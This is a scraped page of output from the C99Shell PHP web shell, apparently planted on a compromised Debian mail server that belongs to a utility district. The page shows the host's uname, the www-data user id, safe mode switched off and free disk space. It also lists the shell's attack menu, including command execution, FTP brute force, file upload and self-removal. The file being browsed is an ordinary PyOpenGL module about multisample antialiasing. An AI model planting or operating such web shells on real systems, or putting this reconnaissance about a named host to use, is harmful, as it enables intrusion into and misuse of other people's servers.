!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/OpenGL/GL/SGIS/   drwxr-xr-x
Free 130.01 GB of 142.11 GB (91.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     multisample.py (1.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'''OpenGL extension SGIS.multisample

This module customises the behaviour of the 
OpenGL.raw.GL.SGIS.multisample to provide a more 
Python-friendly API

Overview (from the spec)
    
    This extension provides a mechanism to antialias all GL primitives:
    points, lines, polygons, bitmaps, and images.  The technique is to
    sample all primitives multiple times at each pixel.  The color sample
    values are resolved to a single, displayable color each time a pixel
    is updated, so the antialiasing appears to be automatic at the
    application level.  Because each sample includes depth and stencil
    information, the depth and stencil functions perform equivalently
    to the single-sample mode.
    
    An additional buffer, called the multisample buffer, is added to
    the framebuffer.  Pixel sample values, including color, depth, and
    stencil values, are stored in this buffer.  When the framebuffer
    includes a multisample buffer, it does not also include separate
    depth or stencil buffers, even if the multisample buffer does not
    store depth or stencil values.  Color buffers (left/right, front/
    back, and aux) do coexist with the multisample buffer, however.
    
    Multisample antialiasing is most valuable for rendering polygons,
    because it requires no sorting for hidden surface elimination, and
    it correctly handles adjacent polygons, object silhouettes, and
    even intersecting polygons.  If only points or lines are being
    rendered, the "smooth" antialiasing mechanism provided by the base
    GL may result in a higher quality image.  This extension is designed
    to allow multisample and smooth antialiasing techniques to be
    alternated during the rendering of a single scene.

The official definition of this extension is available here:
http://www.opengl.org/registry/specs/SGIS/multisample.txt
'''
from OpenGL import platform, constants, constant, arrays
from OpenGL import extensions, wrapper
from OpenGL.GL import glget
import ctypes
from OpenGL.raw.GL.SGIS.multisample import *
### END AUTOGENERATED SECTION

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0082 ]--